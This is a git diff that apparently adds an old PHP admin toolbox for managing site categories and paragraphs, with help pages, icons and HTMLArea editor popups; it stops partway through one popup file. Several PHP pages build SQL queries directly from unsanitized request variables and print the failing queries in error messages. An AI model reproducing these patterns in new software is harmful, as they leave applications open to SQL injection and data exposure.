+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/Toolbox/help/buscat.phtml b/admin/Toolbox/help/buscat.phtml
new file mode 100755 (executable)
index 0000000..69e4785
--- /dev/null
@@ -0,0 +1,159 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Categories</h4>
+<P>
+This page lists the existing Listings Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[Listings]</b>
+</p>
+<p>
+This link will list out the Listings Items associated with a particular Category
+</p>
+<p>
+<h1><b>Notice:</b></h1>The categories are Displayed in a order based on there
+hierarchy.
+</p>
+
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Listings Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the 0,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Listings Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the 0,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/Toolbox/help/closewindow.gif b/admin/Toolbox/help/closewindow.gif
new file mode 100755 (executable)
index 0000000..c54ed89
Binary files /dev/null and b/admin/Toolbox/help/closewindow.gif differ
diff --git a/admin/Toolbox/help/helpbg.gif b/admin/Toolbox/help/helpbg.gif
new file mode 100755 (executable)
index 0000000..0b62415
Binary files /dev/null and b/admin/Toolbox/help/helpbg.gif differ
diff --git a/admin/Toolbox/images/collapse.png b/admin/Toolbox/images/collapse.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/admin/Toolbox/images/collapse.png differ
diff --git a/admin/Toolbox/images/ed_about.gif b/admin/Toolbox/images/ed_about.gif
new file mode 100755 (executable)
index 0000000..d476271
Binary files /dev/null and b/admin/Toolbox/images/ed_about.gif differ
diff --git a/admin/Toolbox/images/ed_align_center.gif b/admin/Toolbox/images/ed_align_center.gif
new file mode 100755 (executable)
index 0000000..0966910
Binary files /dev/null and b/admin/Toolbox/images/ed_align_center.gif differ
diff --git a/admin/Toolbox/images/ed_align_justify.gif b/admin/Toolbox/images/ed_align_justify.gif
new file mode 100755 (executable)
index 0000000..94a1ea7
Binary files /dev/null and b/admin/Toolbox/images/ed_align_justify.gif differ
diff --git a/admin/Toolbox/images/ed_align_left.gif b/admin/Toolbox/images/ed_align_left.gif
new file mode 100755 (executable)
index 0000000..595eef6
Binary files /dev/null and b/admin/Toolbox/images/ed_align_left.gif differ
diff --git a/admin/Toolbox/images/ed_align_right.gif b/admin/Toolbox/images/ed_align_right.gif
new file mode 100755 (executable)
index 0000000..514a5e4
Binary files /dev/null and b/admin/Toolbox/images/ed_align_right.gif differ
diff --git a/admin/Toolbox/images/ed_blank.gif b/admin/Toolbox/images/ed_blank.gif
new file mode 100755 (executable)
index 0000000..d7ae406
Binary files /dev/null and b/admin/Toolbox/images/ed_blank.gif differ
diff --git a/admin/Toolbox/images/ed_charmap.gif b/admin/Toolbox/images/ed_charmap.gif
new file mode 100755 (executable)
index 0000000..b0dc889
Binary files /dev/null and b/admin/Toolbox/images/ed_charmap.gif differ
diff --git a/admin/Toolbox/images/ed_color_bg.gif b/admin/Toolbox/images/ed_color_bg.gif
new file mode 100755 (executable)
index 0000000..f6ff05d
Binary files /dev/null and b/admin/Toolbox/images/ed_color_bg.gif differ
diff --git a/admin/Toolbox/images/ed_color_fg.gif b/admin/Toolbox/images/ed_color_fg.gif
new file mode 100755 (executable)
index 0000000..90e5123
Binary files /dev/null and b/admin/Toolbox/images/ed_color_fg.gif differ
diff --git a/admin/Toolbox/images/ed_copy.gif b/admin/Toolbox/images/ed_copy.gif
new file mode 100755 (executable)
index 0000000..f598fa2
Binary files /dev/null and b/admin/Toolbox/images/ed_copy.gif differ
diff --git a/admin/Toolbox/images/ed_custom.gif b/admin/Toolbox/images/ed_custom.gif
new file mode 100755 (executable)
index 0000000..3c406a5
Binary files /dev/null and b/admin/Toolbox/images/ed_custom.gif differ
diff --git a/admin/Toolbox/images/ed_cut.gif b/admin/Toolbox/images/ed_cut.gif
new file mode 100755 (executable)
index 0000000..92972fc
Binary files /dev/null and b/admin/Toolbox/images/ed_cut.gif differ
diff --git a/admin/Toolbox/images/ed_delete.gif b/admin/Toolbox/images/ed_delete.gif
new file mode 100755 (executable)
index 0000000..1218349
Binary files /dev/null and b/admin/Toolbox/images/ed_delete.gif differ
diff --git a/admin/Toolbox/images/ed_format_bold.gif b/admin/Toolbox/images/ed_format_bold.gif
new file mode 100755 (executable)
index 0000000..3d01d0b
Binary files /dev/null and b/admin/Toolbox/images/ed_format_bold.gif differ
diff --git a/admin/Toolbox/images/ed_format_italic.gif b/admin/Toolbox/images/ed_format_italic.gif
new file mode 100755 (executable)
index 0000000..e8e1cb0
Binary files /dev/null and b/admin/Toolbox/images/ed_format_italic.gif differ
diff --git a/admin/Toolbox/images/ed_format_strike.gif b/admin/Toolbox/images/ed_format_strike.gif
new file mode 100755 (executable)
index 0000000..4885361
Binary files /dev/null and b/admin/Toolbox/images/ed_format_strike.gif differ
diff --git a/admin/Toolbox/images/ed_format_sub.gif b/admin/Toolbox/images/ed_format_sub.gif
new file mode 100755 (executable)
index 0000000..489f7a9
Binary files /dev/null and b/admin/Toolbox/images/ed_format_sub.gif differ
diff --git a/admin/Toolbox/images/ed_format_sup.gif b/admin/Toolbox/images/ed_format_sup.gif
new file mode 100755 (executable)
index 0000000..8e66b99
Binary files /dev/null and b/admin/Toolbox/images/ed_format_sup.gif differ
diff --git a/admin/Toolbox/images/ed_format_underline.gif b/admin/Toolbox/images/ed_format_underline.gif
new file mode 100755 (executable)
index 0000000..b05384e
Binary files /dev/null and b/admin/Toolbox/images/ed_format_underline.gif differ
diff --git a/admin/Toolbox/images/ed_help.gif b/admin/Toolbox/images/ed_help.gif
new file mode 100755 (executable)
index 0000000..4d66154
Binary files /dev/null and b/admin/Toolbox/images/ed_help.gif differ
diff --git a/admin/Toolbox/images/ed_hr.gif b/admin/Toolbox/images/ed_hr.gif
new file mode 100755 (executable)
index 0000000..92fc80e
Binary files /dev/null and b/admin/Toolbox/images/ed_hr.gif differ
diff --git a/admin/Toolbox/images/ed_html.gif b/admin/Toolbox/images/ed_html.gif
new file mode 100755 (executable)
index 0000000..380de29
Binary files /dev/null and b/admin/Toolbox/images/ed_html.gif differ
diff --git a/admin/Toolbox/images/ed_image.gif b/admin/Toolbox/images/ed_image.gif
new file mode 100755 (executable)
index 0000000..a715019
Binary files /dev/null and b/admin/Toolbox/images/ed_image.gif differ
diff --git a/admin/Toolbox/images/ed_indent_less.gif b/admin/Toolbox/images/ed_indent_less.gif
new file mode 100755 (executable)
index 0000000..6054d61
Binary files /dev/null and b/admin/Toolbox/images/ed_indent_less.gif differ
diff --git a/admin/Toolbox/images/ed_indent_more.gif b/admin/Toolbox/images/ed_indent_more.gif
new file mode 100755 (executable)
index 0000000..c5dd55d
Binary files /dev/null and b/admin/Toolbox/images/ed_indent_more.gif differ
diff --git a/admin/Toolbox/images/ed_link.gif b/admin/Toolbox/images/ed_link.gif
new file mode 100755 (executable)
index 0000000..0482da3
Binary files /dev/null and b/admin/Toolbox/images/ed_link.gif differ
diff --git a/admin/Toolbox/images/ed_list_bullet.gif b/admin/Toolbox/images/ed_list_bullet.gif
new file mode 100755 (executable)
index 0000000..7b07303
Binary files /dev/null and b/admin/Toolbox/images/ed_list_bullet.gif differ
diff --git a/admin/Toolbox/images/ed_list_num.gif b/admin/Toolbox/images/ed_list_num.gif
new file mode 100755 (executable)
index 0000000..ae4e03b
Binary files /dev/null and b/admin/Toolbox/images/ed_list_num.gif differ
diff --git a/admin/Toolbox/images/ed_paste.gif b/admin/Toolbox/images/ed_paste.gif
new file mode 100755 (executable)
index 0000000..6892053
Binary files /dev/null and b/admin/Toolbox/images/ed_paste.gif differ
diff --git a/admin/Toolbox/images/ed_redo.gif b/admin/Toolbox/images/ed_redo.gif
new file mode 100755 (executable)
index 0000000..2b5ebbd
Binary files /dev/null and b/admin/Toolbox/images/ed_redo.gif differ
diff --git a/admin/Toolbox/images/ed_show_border.gif b/admin/Toolbox/images/ed_show_border.gif
new file mode 100755 (executable)
index 0000000..23a01a4
Binary files /dev/null and b/admin/Toolbox/images/ed_show_border.gif differ
diff --git a/admin/Toolbox/images/ed_splitcel.gif b/admin/Toolbox/images/ed_splitcel.gif
new file mode 100755 (executable)
index 0000000..48442e2
Binary files /dev/null and b/admin/Toolbox/images/ed_splitcel.gif differ
diff --git a/admin/Toolbox/images/ed_undo.gif b/admin/Toolbox/images/ed_undo.gif
new file mode 100755 (executable)
index 0000000..05f041e
Binary files /dev/null and b/admin/Toolbox/images/ed_undo.gif differ
diff --git a/admin/Toolbox/images/expand.png b/admin/Toolbox/images/expand.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/admin/Toolbox/images/expand.png differ
diff --git a/admin/Toolbox/images/fullscreen_maximize.gif b/admin/Toolbox/images/fullscreen_maximize.gif
new file mode 100755 (executable)
index 0000000..0536fec
Binary files /dev/null and b/admin/Toolbox/images/fullscreen_maximize.gif differ
diff --git a/admin/Toolbox/images/fullscreen_minimize.gif b/admin/Toolbox/images/fullscreen_minimize.gif
new file mode 100755 (executable)
index 0000000..b12c3f7
Binary files /dev/null and b/admin/Toolbox/images/fullscreen_minimize.gif differ
diff --git a/admin/Toolbox/images/insert_table.gif b/admin/Toolbox/images/insert_table.gif
new file mode 100755 (executable)
index 0000000..4ce3ff4
Binary files /dev/null and b/admin/Toolbox/images/insert_table.gif differ
diff --git a/admin/Toolbox/index.phtml b/admin/Toolbox/index.phtml
new file mode 100755 (executable)
index 0000000..550afb8
--- /dev/null
@@ -0,0 +1,3 @@
+<?
+header("Location: list_bus_category.phtml");
+?>
diff --git a/admin/Toolbox/list_bus.phtml b/admin/Toolbox/list_bus.phtml
new file mode 100755 (executable)
index 0000000..eabcb33
--- /dev/null
@@ -0,0 +1,109 @@
+<?
+//$Id: list_bus.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,1);
+
+$qs = "SELECT  category
+               FROM    bus_category
+               WHERE   id = $catid";
+
+if(!$catres = db_exec($dbd,$qs)) 
+       html_error(DB_ERROR_MSG.$qs,1);
+
+$catrow = db_fetch_array($catres,0,PGSQL_ASSOC);
+
+$qs =  "SELECT         b.id,b.name,bcb.pos
+               FROM    bus b,bus_category_bus bcb
+           WHERE       bcb.catid = $catid
+               AND             b.id = bcb.busid
+               AND             bcb.catid = $catid
+               ORDER BY bcb.pos";
+
+if(!$res = db_exec($dbd,$qs)) 
+       html_error(DB_ERROR_MSG.$qs,1);
+top("$catrow[category] Paragraphs", HELP_BASE."bus.phtml?key=list","ToolboxUserGuide_1.0");
+$lnav = array(
+                       "Add A New Paragraph"   => "edit_bus.phtml?catid=$catid",
+                       "List Pages"            => "list_bus_category.phtml"
+               );
+html_nav_table($lnav, 2);
+
+echo "<table bgcolor=\"#c0c0c0\" align=center width=500 cellspacing=0 cellpadding=4 border=0>";
+?>
+<tr>
+<TH WIDTH=100 ALIGN=left BGCOLOR="#000000">
+       <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+       Function
+       </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+       <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+       Records 
+       </FONT>
+</TH>
+</tr>
+
+<?
+
+$c = "#cccccc";
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC); 
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       if($c == "#cccccc")
+               $c = "#b0b0b0";
+       else
+               $c = "#cccccc";
+       ?>
+<tr bgcolor="<?echo $c?>">
+       <td class="navtd2">
+       <form action="update_bus.phtml" method="POST">
+       <a href="edit_bus.phtml?id=<?echo $row[id]?>&catid=<?echo $catid?>">[Edit]</a>
+       <?
+       $qs = "SELECT   MAX(bus_category_bus.pos) as maxpos 
+                  FROM         bus LEFT OUTER JOIN bus_category_bus ON (bus.id = bus_category_bus.busid) 
+                  WHERE        bus_category_bus.catid = $catid;";
+       /*
+       $qs = "SELECT   count(*) as maxpos
+                  FROM         bus_category_bus
+                  WHERE        catid = $catid
+                  ";
+   */
+
+       if(!$maxresult = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+       $maxpos = $max_data[maxpos];
+       $qs = "SELECT   bcb.id
+                  FROM         bus_category_bus bcb,bus b 
+                  WHERE        bcb.catid = $catid
+                  AND          b.id = bcb.busid
+                  AND          b.id = $row[id]
+                  AND          bcb.busid = b.id
+                  ";
+
+       if(!$idres = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       $idrow = db_fetch_array($idres,0,PGSQL_ASSOC);
+       $pos = "<font size=-4><select name=pos 
+               onChange=location.href=this[this.selectedIndex].value;
+               size=1>";
+       for($newpos=1;$newpos<=$maxpos;$newpos++) {
+               $string = "Command=Move&id=$idrow[id]&newpos=$newpos&catid=$catid";
+               $pos .= "<option value=\"update_bus.phtml?$string\"";
+               if($newpos == $row[pos]) {
+                       $pos .= " selected";
+               }
+               $pos .= ">$newpos\n";
+       }
+       $pos .= "</select></font>";
+       echo $pos;
+       ?>
+       </form>
+       </td>
+       <td class="navtd2" width=80%><?echo $row[name]?></td>
+</tr>
+       <?
+       }
+echo "</table>\n";
+footer();
+?>
diff --git a/admin/Toolbox/list_bus_category.phtml b/admin/Toolbox/list_bus_category.phtml
new file mode 100755 (executable)
index 0000000..62ad8cf
--- /dev/null
@@ -0,0 +1,173 @@
+<?php
+session_start();
+session_register("expanded");
+if( is_numeric( $_GET['expand'] ) )
+{
+       // code for adding expanded 
+       $expanded[$_GET['expand']] = $_GET['expand'];
+}
+if( is_numeric( $fold ) )
+{
+       // code for folding 
+       $oldexp = $expanded;
+       session_unregister("expanded");
+       unset($oldexp[$fold]);
+       $expanded = $oldexp; 
+       session_register("expanded");
+}
+//$Id: list_bus_category.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+if(!$conn = db_connect()) html_error(DB_ERROR_MSG,0);
+top("Pages (List)",HELP_BASE."buscat.phtml?key=list","ToolboxUserGuide_1.0");
+if(isset($active))
+       {
+               if($active=="t")
+               {
+                       $nd = "f";
+               }
+               else
+               {
+                       $nd = "y";
+               }
+               $query = "UPDATE bus_category SET active = '$nd' WHERE id = $id";
+               db_exec($conn,$query);
+       }
+       $lnav["Edit Positions"] = "list_bus_category.phtml?show_pos=1";
+       $lnav["Expand All Levels"] = "list_bus_category.phtml?expand_all=1";
+       $lnav["Collaspe All Levels"] = "list_bus_category.phtml?collaspe_all=1";
+       unset($lnav["List Pages"]);
+       html_nav_table($lnav, 6);
+       ?>
+       <table bgcolor="#000000" width="500" cellpadding="4" cellspacing="0" align="center" border=0>
+       <tr bgcolor="#000000">
+       <th width=20%>
+       <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+       Function
+       </font>
+       </th>
+       <th width=20%>
+       <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+       Pos
+       </font>
+       </th>
+       <th width=60%>
+       <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+       Category
+       </font>
+       </th>
+       </tr>
+       </table border=1>
+       <table width=500 bgcolor="#c0c0c0" cellpadding=0 cellspacing=0 align=center>
+
+       <tr><td>
+
+       <form action="update_bus_category.phtml" method="POST">
+       <?
+       include_once("threads.phtml");
+       $qs = "SELECT   id,parent,pos,category,active
+       FROM    bus_category
+       WHERE   parent is not null
+       ORDER BY pos;";
+
+if(!$res = pg_Exec($conn,$qs))
+       {
+               echo "Failure".$qs;
+       }
+for($i=0;$i<pg_numrows($res);$i++)
+       {
+               $data = pg_fetch_array($res,$i,PGSQL_ASSOC);
+               $id = $data[id];
+               $category = $data["category"];
+               $parent = $data[parent];
+               $position = $data[pos];
+               if(TOOLBOX_FLAGS == 1)
+               {
+                       if($data[active] == 't')
+                       {
+                               $alt = "Don't display";
+                       }
+                       else
+                       {
+                               $alt = "Display";
+                       }
+                       $active = '<a title="'.$alt.'" href="'.$PHP_SELF."?active=$data[active]&id=$data[id]".'">';
+                       if($data[active] == "t")
+                       {
+                               $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+                       }
+                       else
+                       {
+                               $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+                       }
+               }
+               if($show_pos)
+               {
+                       $qs = "SELECT   MAX(pos) as maxpos
+                               FROM    bus_category
+                               WHERE   parent = $parent";
+
+                       if(!$maxresult = db_exec($conn,$qs)) 
+                       {
+                               html_error(DB_ERROR_MSG.$qs,0);
+                       }
+                       $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+                       $maxpos = $max_data['maxpos'];
+                       $pos = "<font size=-4><select name=pos 
+                               onChange=location.href=this[this.selectedIndex].value;
+                       size=1>";
+                       for($newpos=1;$newpos<=$maxpos;$newpos++)
+                       {
+                               $string = "Command=Move&id=$id&parent=$parent&newpos=$newpos";
+                               $pos .= "<option value=\"update_bus_category.phtml?$string\"";
+                               if($newpos == $position)
+                               {
+                                       $pos .= " selected";
+                               }
+                               $pos .= ">$newpos\n";
+                       }
+                       $pos .= "</select></font>";
+               }
+               if( $expand_all == true )
+               {
+                       $close = false;
+                       $expanded[$id] = 1;
+               }
+               if( $collaspe_all == true )
+               {
+                       $close = true;
+                       unset($expanded[$id]);
+               }
+               if( $expanded[$id] )
+               {
+                       $close = false;
+               }
+               else
+               {
+                       $close = true;
+               }
+               $threads[] = array("ID" => $id,"content" => $category,"pos" => $pos,"parent" =>
+               $parent,"active" => $active,"closed" => $close);
+       }
+
+       $links = array(
+               "beginLevel" => "<ul>",
+               "beginLevel2" => "<ul id=\"toolbox\">",
+               "endLevel" => "</ul>",
+               "beginItem" => "<li>",
+               "beginItem2" => "<li class=\"toolboxArrow\">",
+               "endItem" => "</li>");
+if(db_numrows($res) != 0)
+       {
+               $myThread = new Thread($links); 
+               $converted = $myThread->sortChilds($threads); //sort threads by parent
+               print $myThread->convertToThread($converted, $converted[0]); //print the threads
+       }
+?>
+</form>
+</td></tr>
+</table>
+<?
+footer();
+?>
diff --git a/admin/Toolbox/popups/about.html b/admin/Toolbox/popups/about.html
new file mode 100755 (executable)
index 0000000..9b05218
--- /dev/null
@@ -0,0 +1,55 @@
+<html style="width: 380px; height: 250px;">
+<head><title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+function closeAbout() {
+  __dlg_close(null);
+}
+</script>
+<style>
+  html,body,textarea { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+  tt { font-size: 120%; }
+  body { padding: 0px; background: ButtonFace; color: ButtonText; }
+  a:link, a:visited { color: #00f; }
+  a:hover { color: #f00; }
+  a:active { color: #f80; }
+  button { font: 11px tahoma,verdana,sans-serif; }
+</style></head>
+<body onload="__dlg_init()">
+
+<div style="background-color: #fff; color: #000; padding: 3px; border-bottom: 1px solid #000;">
+<div style="font-family: 'arial black',arial,sans-serif; font-size: 28px;
+letter-spacing: -1px;">
+<span style="position: relative; top: -0.2em">H</span><span
+style="position: relative; top: 0.1em">T</span><span
+style="position: relative; top: -0.1em">M</span><span
+style="position: relative; top: 0.2em">L</span> Area
+3.0 <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. beta ]</span></div>
+
+<div style="text-align: right; font-size: 90%; margin-bottom: 1em">
+Released on Aug 11, 2003 [21:30] GMT
+</div>
+</div>
+
+<div style="margin: 1em">
+
+<p>A free WYSIWYG editor replacement for <tt>&lt;textarea&gt;</tt> fields.</p>
+
+<p>For full source code and docs, visit:<br />
+<a href="http://www.interactivetools.com/products/htmlarea/" target="_blank"
+>http://www.interactivetools.com/products/htmlarea/</a></p>
+
+<p>Version 3.0 developed and maintained by <a href="http://students.infoiasi.ro/~mishoo/" target="_blank">mishoo</a>.</p>
+
+<p>&copy; 2002, 2003 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc. All Rights Reserved.</p>
+
+</div>
+
+<div style="text-align: right; padding: 0px 3px 3px 0px;">
+<button type="button" onclick="closeAbout()">I agree it's cool</button>
+</div>
+
+</body></html>
+
+
diff --git a/admin/Toolbox/popups/blank.html b/admin/Toolbox/popups/blank.html
new file mode 100755 (executable)
index 0000000..8c7fe21
--- /dev/null
@@ -0,0 +1,2 @@
+<html>
+</html>
\ No newline at end of file
diff --git a/admin/Toolbox/popups/custom2.html b/admin/Toolbox/popups/custom2.html
new file mode 100755 (executable)
index 0000000..5591f6c
--- /dev/null
@@ -0,0 +1,35 @@
+<html style="width:300px; Height: 60px;">
+ <head>
+  <title>Select Phrase</title>
+<script language="javascript">
+
+var myTitle = window.dialogArguments;
+document.title = myTitle;
+
+
+function returnSelected() {
+  var idx  = document.all.textPulldown.selectedIndex;
+  var text = document.all.textPulldown[idx].text;
+
+  window.returnValue = text;          // set return value
+  window.close();                     // close dialog
+}
+
+</script>
+</head>
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>
+
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">
+<div align=center>
+
+<select name="textPulldown">
+<option>The quick brown</option>
+<option>fox jumps over</option>
+<option>the lazy dog.</option>
+</select>
+
+<input type="button" value=" Go " onClick="returnSelected()">
+
+</div>
+</form>
+</body></html>
\ No newline at end of file
diff --git a/admin/Toolbox/popups/editor_help.html b/admin/Toolbox/popups/editor_help.html
new file mode 100755 (executable)
index 0000000..b34de82
--- /dev/null
@@ -0,0 +1,16 @@
+<html>
+ <head>
+  <title>Editor Help</title>
+  <style>
+    body, td, p, div { font-family: arial; font-size: x-small; }
+  </style>
+ </head>
+<body>
+
+<h2>Editor Help<hr></h2>
+
+Todo...
+
+
+</body>
+</html>
\ No newline at end of file
diff --git a/admin/Toolbox/popups/fullscreen.html b/admin/Toolbox/popups/fullscreen.html
new file mode 100755 (executable)
index 0000000..cd67bdd
--- /dev/null
@@ -0,0 +1,162 @@
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css">
+@import url(../htmlarea.css);
+html, body {   margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<!--
+<script type="text/javascript" src="../htmlarea.js"></script>
+<script type="text/javascript" src="../htmlarea-lang-en.js"></script>
+<script type="text/javascript" src="../dialog.js"></script>
+-->
+
+<script type="text/javascript">
+// load same scripts that were present in the opener page
+var scripts = opener.document.getElementsByTagName("script");
+var head = document.getElementsByTagName("head")[0];
+for (var i = 0; i < scripts.length; ++i) {
+  var script = scripts[i];
+  if (typeof script.src != "undefined" && /\S/.test(script.src)) {
+    // document.write("<scr" + "ipt type=" + "\"script/javascript\"");
+    // document.write(" src=\"../" + script.src + "\"></scr" + "ipt>");
+    var new_script = document.createElement("script");
+    if (/^http:/i.test(script.src)) {
+      new_script.src = script.src;
+    } else {
+      new_script.src = "../" + script.src;
+    }
+    head.appendChild(new_script);
+  }
+}
+</script>
+
+<script type="text/javascript">
+
+var parent_object  = null;
+var editor         = null;      // to be initialized later [ function init() ]
+
+/* ---------------------------------------------------------------------- *\
+  Function    : 
+  Description : 
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc(ev) {
+  if (document.all) {
+    // IE
+    ev = window.event;
+  }
+  if (ev.keyCode == 27) {
+    // update_parent();
+    window.close();
+    return;
+  }
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : cloneObject
+  Description : copy an object by value instead of by reference
+  Usage       : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+  var newObj          = new Object; 
+
+  // check for array objects
+  if (obj.constructor.toString().indexOf("function Array(") == 1) {
+    newObj = obj.constructor();
+  }
+
+  // check for function objects (as usual, IE is fucked up)
+  if (obj.constructor.toString().indexOf("function Function(") == 1) {
+    newObj = obj; // just copy reference to it
+  } else for (var n in obj) {
+    var node = obj[n];
+    if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+    else                         { newObj[n] = node; }
+  }
+  
+  return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : resize_editor
+  Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() {  // resize editor to fix window
+  var newHeight;
+  if (document.all) {
+    // IE
+    newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;
+    if (newHeight < 0) { newHeight = 0; }
+  } else {
+    // Gecko
+    newHeight = window.innerHeight - editor._toolbar.offsetHeight;
+  }
+  if (editor.config.statusBar) {
+    newHeight -= editor._statusBar.offsetHeight;
+  }
+  editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : init
+  Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+  parent_object      = opener.HTMLArea._object;
+  var config         = cloneObject( parent_object.config );
+  config.editorURL   = "../";
+  config.width       = "100%";
+  config.height      = "auto";
+
+  // change maximize button to minimize button
+  config.btnList["popupeditor"] = [ 'Minimize Editor', 'images/fullscreen_minimize.gif', true,
+                                    function() { window.close(); } ];
+
+  // generate editor and resize it
+  editor = new HTMLArea("editor", config);
+  editor.generate();
+  editor._iframe.style.width = "100%";
+  editor._textArea.style.width = "100%";
+  resize_editor();
+
+  // set child window contents and event handlers, after a small delay
+  setTimeout(function() {
+    editor.setHTML(parent_object.getInnerHTML());
+
+    // switch mode if needed
+    if (parent_object._mode == "textmode") { editor.setMode("textmode"); }
+
+    // continuously update parent editor window
+    setInterval(update_parent, 500);
+
+    // setup event handlers
+    document.body.onkeypress = _CloseOnEsc;
+    editor._doc.body.onkeypress = _CloseOnEsc;
+    editor._textArea.onkeypress = _CloseOnEsc;
+    window.onresize = resize_editor;
+  }, 333);                      // give it some time to meet the new frame
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : update_parent
+  Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
